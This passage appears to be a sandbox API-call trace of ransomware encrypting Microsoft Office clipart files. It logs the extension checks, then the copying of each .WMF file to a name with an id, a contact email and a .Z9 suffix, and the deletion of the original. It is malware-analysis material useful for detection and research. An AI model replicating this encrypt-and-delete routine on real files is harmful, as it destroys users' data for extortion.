	[0091.506] lstrlenW (lpString=".7z") returned 3
	[0091.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.507] lstrlenW (lpString=".dbf") returned 4
	[0091.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.507] lstrlenW (lpString=".1cd") returned 4
	[0091.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0091.507] lstrlenW (lpString=".jpg") returned 4
	[0091.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.507] lstrlenW (lpString="DD01629_.WMF") returned 12
	[0091.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.508] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=580) returned 1
	[0091.508] CloseHandle (hObject=0x350) returned 1
	[0091.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220
	[0091.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.509] GetLastError () returned 0x0
	[0091.509] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x244, lpOverlapped=0x0) returned 1
	[0091.510] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x250, lpOverlapped=0x0) returned 1
	[0091.511] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.511] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.511] SetEndOfFile (hFile=0x374) returned 1
	[0091.511] CloseHandle (hObject=0x374) returned 1
	[0091.511] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.511] SetEndOfFile (hFile=0x350) returned 1
	[0091.512] CloseHandle (hObject=0x350) returned 1
	[0091.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1
	[0091.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.513] lstrlenW (lpString=".doc") returned 4
	[0091.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString=".docx") returned 5
	[0091.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.513] lstrlenW (lpString=".pdf") returned 4
	[0091.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString=".xls") returned 4
	[0091.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.513] lstrlenW (lpString=".xlsx") returned 5
	[0091.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.513] lstrlenW (lpString=".ppt") returned 4
	[0091.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.513] lstrlenW (lpString=".zip") returned 4
	[0091.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.513] lstrlenW (lpString=".rar") returned 4
	[0091.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString=".bz2") returned 4
	[0091.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString=".7z") returned 3
	[0091.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.513] lstrlenW (lpString=".dbf") returned 4
	[0091.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.513] lstrlenW (lpString=".1cd") returned 4
	[0091.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString=".jpg") returned 4
	[0091.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString=".doc") returned 4
	[0091.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString=".docx") returned 5
	[0091.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.514] lstrlenW (lpString=".pdf") returned 4
	[0091.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString=".xls") returned 4
	[0091.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.514] lstrlenW (lpString=".xlsx") returned 5
	[0091.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.514] lstrlenW (lpString=".ppt") returned 4
	[0091.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString=".zip") returned 4
	[0091.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.514] lstrlenW (lpString=".rar") returned 4
	[0091.514] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString=".bz2") returned 4
	[0091.514] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString=".7z") returned 3
	[0091.514] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString=".dbf") returned 4
	[0091.514] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString=".1cd") returned 4
	[0091.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0091.514] lstrlenW (lpString=".jpg") returned 4
	[0091.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.515] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.515] lstrlenW (lpString="DD01630_.WMF") returned 12
	[0091.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.515] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=296) returned 1
	[0091.515] CloseHandle (hObject=0x350) returned 1
	[0091.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220
	[0091.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.515] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.515] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.516] GetLastError () returned 0x0
	[0091.516] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x128, lpOverlapped=0x0) returned 1
	[0091.517] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x130, lpOverlapped=0x0) returned 1
	[0091.518] ReadFile (in: hFile=0x350, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.518] WriteFile (in: hFile=0x374, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.519] SetEndOfFile (hFile=0x374) returned 1
	[0091.519] CloseHandle (hObject=0x374) returned 1
	[0091.519] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.519] SetEndOfFile (hFile=0x350) returned 1
	[0091.520] CloseHandle (hObject=0x350) returned 1
	[0091.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1
	[0091.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.520] lstrlenW (lpString=".doc") returned 4
	[0091.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.520] lstrlenW (lpString=".docx") returned 5
	[0091.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.520] lstrlenW (lpString=".pdf") returned 4
	[0091.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.520] lstrlenW (lpString=".xls") returned 4
	[0091.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.521] lstrlenW (lpString=".xlsx") returned 5
	[0091.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.521] lstrlenW (lpString=".ppt") returned 4
	[0091.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.521] lstrlenW (lpString=".zip") returned 4
	[0091.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.521] lstrlenW (lpString=".rar") returned 4
	[0091.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString=".bz2") returned 4
	[0091.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString=".7z") returned 3
	[0091.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.521] lstrlenW (lpString=".dbf") returned 4
	[0091.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.521] lstrlenW (lpString=".1cd") returned 4
	[0091.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.521] lstrlenW (lpString=".jpg") returned 4
	[0091.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.521] lstrlenW (lpString=".doc") returned 4
	[0091.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString=".docx") returned 5
	[0091.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.521] lstrlenW (lpString=".pdf") returned 4
	[0091.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.521] lstrlenW (lpString=".xls") returned 4
	[0091.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.521] lstrlenW (lpString=".xlsx") returned 5
	[0091.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.521] lstrlenW (lpString=".ppt") returned 4
	[0091.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.522] lstrlenW (lpString=".zip") returned 4
	[0091.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.522] lstrlenW (lpString=".rar") returned 4
	[0091.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.522] lstrlenW (lpString=".bz2") returned 4
	[0091.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.522] lstrlenW (lpString=".7z") returned 3
	[0091.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.522] lstrlenW (lpString=".dbf") returned 4
	[0091.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.522] lstrlenW (lpString=".1cd") returned 4
	[0091.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68
	[0091.912] lstrlenW (lpString=".jpg") returned 4
	[0091.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.912] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.912] lstrlenW (lpString="ED00019_.WMF") returned 12
	[0091.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.325] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=13042) returned 1
	[0092.325] CloseHandle (hObject=0x390) returned 1
	[0092.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220
	[0092.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.325] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.325] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.326] GetLastError () returned 0x0
	[0092.326] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x32f2, lpOverlapped=0x0) returned 1
	[0092.327] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3300, lpOverlapped=0x0) returned 1
	[0092.328] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.329] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.329] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.329] CloseHandle (hObject=0x2bc) returned 1
	[0092.329] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.329] SetEndOfFile (hFile=0x390) returned 1
	[0092.330] CloseHandle (hObject=0x390) returned 1
	[0092.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1
	[0092.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.330] lstrlenW (lpString=".doc") returned 4
	[0092.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.330] lstrlenW (lpString=".docx") returned 5
	[0092.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.330] lstrlenW (lpString=".pdf") returned 4
	[0092.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.330] lstrlenW (lpString=".xls") returned 4
	[0092.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.330] lstrlenW (lpString=".xlsx") returned 5
	[0092.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.331] lstrlenW (lpString=".ppt") returned 4
	[0092.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString=".zip") returned 4
	[0092.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.331] lstrlenW (lpString=".rar") returned 4
	[0092.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString=".bz2") returned 4
	[0092.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString=".7z") returned 3
	[0092.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString=".dbf") returned 4
	[0092.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString=".1cd") returned 4
	[0092.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString=".jpg") returned 4
	[0092.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString=".doc") returned 4
	[0092.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString=".docx") returned 5
	[0092.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.331] lstrlenW (lpString=".pdf") returned 4
	[0092.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString=".xls") returned 4
	[0092.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.331] lstrlenW (lpString=".xlsx") returned 5
	[0092.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.331] lstrlenW (lpString=".ppt") returned 4
	[0092.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.331] lstrlenW (lpString=".zip") returned 4
	[0092.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.332] lstrlenW (lpString=".rar") returned 4
	[0092.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.332] lstrlenW (lpString=".bz2") returned 4
